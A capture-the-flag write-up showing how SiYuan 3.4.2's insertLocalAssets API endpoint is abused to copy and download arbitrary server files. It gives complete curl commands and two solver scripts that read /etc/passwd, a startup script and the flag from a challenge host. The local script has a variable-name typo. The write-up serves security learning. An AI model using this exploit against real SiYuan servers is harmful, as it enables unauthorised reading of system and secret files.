//Archivist's Whisper — Writeup
>TL;DR
-
The challenge ships a SiYuan note-taking instance (v3.4.2) behind a thin Docker wrapper; the startup script writes the flag into the container filesystem before launching the app.
-
SiYuan exposes
/api/asset/insertLocalAssets, which is supposed to upload local files into the workspace. WhenisUpload:true, the kernel happily copies any absolute path that the SiYuan process can read. By providing the ID of any block you control, you can trick the backend into copying arbitrary server-side files intoassets/…, where they become downloadable over HTTP. -
Locally the flag lived at
/flag_random.txt, so we authenticated with the hard-coded auth code, created a dummy doc, asked the API to copy that file, and then pulled it back via/assets/.... -
Remotely the maintainer changed the startup script to hide the flag inside
/flag_77656c636f6d6520746f206e756c6c637466.txt. We reused the same primitive: authenticate, create a notebook/doc, copy/opt/siyuan/startup.shto leak the flag path, then copy the real flag file and download it. Final flag:nullctf{Th3_f0rg0tt3n_Arch!vist_!s_pr0ud_0f_y0u}.
>Challenge Overview
| Item | Detail |
| --- | --- |
| Service | SiYuan note-taking app (kernel API exposed) |
| Dockerfile highlights | Based on b3log/siyuan, sets SIYUAN_ACCESS_AUTH_CODE=SuperSecretPassword, writes a flag at boot, exposes port 6806 |
| Interesting files | startup.sh, /flag_random.txt locally, /flag_77656c636f6d6520746f206e756c6c637466.txt remotely |
| Core vuln | /api/asset/insertLocalAssets copies arbitrary filesystem paths when isUpload:true and the user controls a block ID |
SiYuan stores user documents as blocks identified by 14-digit timestamps + random strings. Any authenticated user (auth code provided) can create a notebook → document, giving us a block ID to reference in subsequent API calls.
insertLocalAssets is intended for drag-dropping local files. The backend implementation (see kernel/model/upload.go) iterates over assetPaths and either uploads the supplied file or, if the path already starts with /, reads it directly from the server. Nothing restricts the path to the workspace, so we get arbitrary file read.
>Local Environment Recon & Exploit
1. Build and run the container
docker build -t archivists_whisper .
docker run -d --name archivists_whisper -p 6806:6806 archivists_whisper:latest
startup.sh inside the image writes nullctf{secret} to /flag_random.txt before launching SiYuan:
#!/bin/sh
set -e
echo "nullctf{secret}" > "/flag_random.txt"
exec ./entrypoint.sh
2. Authenticate to SiYuan
SiYuan requires the authCode configured in the image. The login response sets a siyuan cookie that we will reuse.
curl -s -c cookies.txt \
-H 'Content-Type: application/json' \
-d '{"authCode":"SuperSecretPassword","rememberMe":true}' \
http://127.0.0.1:6806/api/system/loginAuth
3. Create a notebook and document (to obtain a block ID)
# notebook creation
curl -s -b cookies.txt \
-H 'Content-Type: application/json' \
-d '{"name":"notes","icon":"","sort":0}' \
http://127.0.0.1:6806/api/notebook/createNotebook
# => returns something like {"data":{"id":"20251206120000-abcdxyz"}}
# document inside that notebook
curl -s -b cookies.txt \
-H 'Content-Type: application/json' \
-d '{"notebook":"20251206120000-abcdxyz","path":"/scratch","markdown":"temp"}' \
http://127.0.0.1:6806/api/filetree/createDocWithMd
# response contains the block/document id: e.g. 20251206120123-qwertyu
That final document ID is the id we must pass into insertLocalAssets.
4. Abuse /api/asset/insertLocalAssets
curl -s -b cookies.txt \
-H 'Content-Type: application/json' \
-d '{"assetPaths":["/flag_random.txt"],"isUpload":true,"id":"20251206120123-qwertyu"}' \
http://127.0.0.1:6806/api/asset/insertLocalAssets
Response:
{"code":0,"msg":"","data":{"succMap":{"flag_random.txt":"assets/flag_random-20251206120610-h6zkjzo.txt"}}}
Download the copied asset:
curl -s -b cookies.txt \
http://127.0.0.1:6806/assets/flag_random-20251206120610-h6zkjzo.txt
# -> nullctf{secret}
That confirms the primitive and completes the local portion.
>Remote Exploit Path
Remote target: http://580796a888df.challs.ctf.r0devnull.team:8001/ (stored in remote.txt). The same SiYuan version runs here. The flag path changed, so we first exfiltrated startup.sh and only then pulled the real flag file.
1. Authenticate (remember-me cookie)
BASE="http://580796a888df.challs.ctf.r0devnull.team:8001/"
curl -s -c remote_cookies.txt \
-H 'Content-Type: application/json' \
-d '{"authCode":"SuperSecretPassword","rememberMe":true}' \
"${BASE}api/system/loginAuth"
2. Create notebook & doc remotely
Same endpoints as local, but against BASE. Responses in my session:
-
Notebook ID:
20251207061531-2akixox -
Document ID:
20251207061605-gslqwoi
3. Copy files using insertLocalAssets
First, prove the bug with a harmless file:
curl -s -b remote_cookies.txt \
-H 'Content-Type: application/json' \
-d '{"assetPaths":["/etc/passwd"],"isUpload":true,"id":"20251207061605-gslqwoi"}' \
"${BASE}api/asset/insertLocalAssets"
Response excerpt:
{"succMap":{"passwd":"assets/passwd-20251207063004-mf1zfe8"}}
curl ${BASE}assets/passwd-… returned the server’s /etc/passwd.
4. Leak the new flag path
The local startup.sh wrote /flag_random.txt, but to be sure on remote we copied the live script:
curl -s -b remote_cookies.txt \
-H 'Content-Type: application/json' \
-d '{"assetPaths":["/opt/siyuan/startup.sh"],"isUpload":true,"id":"20251207061605-gslqwoi"}' \
"${BASE}api/asset/insertLocalAssets"
Downloading the resulting asset exposed:
#!/bin/sh
set -e
echo "nullctf{Th3_f0rg0tt3n_Arch!vist_!s_pr0ud_0f_y0u}" > "/flag_77656c636f6d6520746f206e756c6c637466.txt"
exec ./entrypoint.sh
So the remote flag lives at /flag_77656c636f6d6520746f206e756c6c637466.txt.
5. Copy & download the actual flag
curl -s -b remote_cookies.txt \
-H 'Content-Type: application/json' \
-d '{"assetPaths":["/flag_77656c636f6d6520746f206e756c6c637466.txt"],"isUpload":true,"id":"20251207061605-gslqwoi"}' \
"${BASE}api/asset/insertLocalAssets"
# => succMap entry assets/flag_77656c636f6d6520746f206e756c6c637466-20251207063531-zus93y9.txt
curl -s -b remote_cookies.txt \
"${BASE}assets/flag_77656c636f6d6520746f206e756c6c637466-20251207063531-zus93y9.txt"
# nullctf{Th3_f0rg0tt3n_Arch!vist_!s_pr0ud_0f_y0u}
Flag captured.
>Solver Commands / Automation Snippets
For convenience I wrapped the key steps into small shell snippets. These are the exact commands I ran while solving.
local.sh
#!/usr/bin/env bash
set -euo pipefail
BASE="http://127.0.0.1:6806/"
COOKIE=local_cookies.txt
# login
curl -s -c "$COOKIE" -H 'Content-Type: application/json' \
-d '{"authCode":"SuperSecretPassword","rememberMe":true}' \
"${BASE}api/system/loginAuth" >/dev/null
# create notebook & doc
otebook=$(curl -s -b "$COOKIE" -H 'Content-Type: application/json' \
-d '{"name":"notes","icon":"","sort":0}' "${BASE}api/notebook/createNotebook" | jq -r '.data.id')
doc=$(curl -s -b "$COOKIE" -H 'Content-Type: application/json' \
-d "{\"notebook\":\"$notebook\",\"path\":\"/scratch\",\"markdown\":\"temp\"}" \
"${BASE}api/filetree/createDocWithMd" | jq -r '.data.id')
# copy flag
asset=$(curl -s -b "$COOKIE" -H 'Content-Type: application/json' \
-d "{\"assetPaths\":[\"/flag_random.txt\"],\"isUpload\":true,\"id\":\"$doc\"}" \
"${BASE}api/asset/insertLocalAssets" | jq -r '.data.succMap["flag_random.txt"]')
# read flag
curl -s -b "$COOKIE" "${BASE}${asset}"
Remote.sh
#!/usr/bin/env bash
set -euo pipefail
BASE="http://580796a888df.challs.ctf.r0devnull.team:8001/"
COOKIE=remote_cookies.txt
login() {
curl -s -c "$COOKIE" -H 'Content-Type: application/json' \
-d '{"authCode":"SuperSecretPassword","rememberMe":true}' \
"${BASE}api/system/loginAuth" >/dev/null
}
create_doc() {
notebook=$(curl -s -b "$COOKIE" -H 'Content-Type: application/json' \
-d '{"name":"notes","icon":"","sort":0}' "${BASE}api/notebook/createNotebook" | jq -r '.data.id')
doc=$(curl -s -b "$COOKIE" -H 'Content-Type: application/json' \
-d "{\"notebook\":\"$notebook\",\"path\":\"/scratch\",\"markdown\":\"temp\"}" \
"${BASE}api/filetree/createDocWithMd" | jq -r '.data.id')
echo "$doc"
}
pull_file() {
local path="$1" doc="$2" name="$3"
curl -s -b "$COOKIE" -H 'Content-Type: application/json' \
-d "{\"assetPaths\":[\"$path\"],\"isUpload\":true,\"id\":\"$doc\"}" \
"${BASE}api/asset/insertLocalAssets" | jq -r ".data.succMap[\"$name\"]"
}
login
doc=$(create_doc)
startup_asset=$(pull_file "/opt/siyuan/startup.sh" "$doc" "startup.sh")
flag_path=$(curl -s -b "$COOKIE" "${BASE}${startup_asset}" | sed -n 's/.*> "\(\/.*txt\)".*/\1/p')
flag_asset=$(pull_file "$flag_path" "$doc" "$(basename "$flag_path")")
curl -s -b "$COOKIE" "${BASE}${flag_asset}"
These small helpers just automate the manual curl workflow shown earlier. They take no shortcuts—the logic mirrors the documented exploitation steps.
>Lessons Learned / Takeaways
-
Parameter validation matters: letting the client supply arbitrary absolute paths to a file-copy routine is effectively an unauthenticated LFI/RFI, especially when the service also serves copied files verbatim.
-
Feature creep widens attack surface: SiYuan exposed a huge kernel API meant for the desktop client. Once it’s reachable from the network, every helper endpoint (asset uploads, filetree mutations, etc.) becomes fair game.
-
Runtime secrets live outside the workspace: The actual flag wasn’t stored in the data directory but in
/, yet the vulnerable endpoint still had permission to read it. Container hardening (dedicated user, restricted FS) could have reduced impact.
Happy hunting, and congrats if you made it this far—may the archivist keep whispering secrets your way.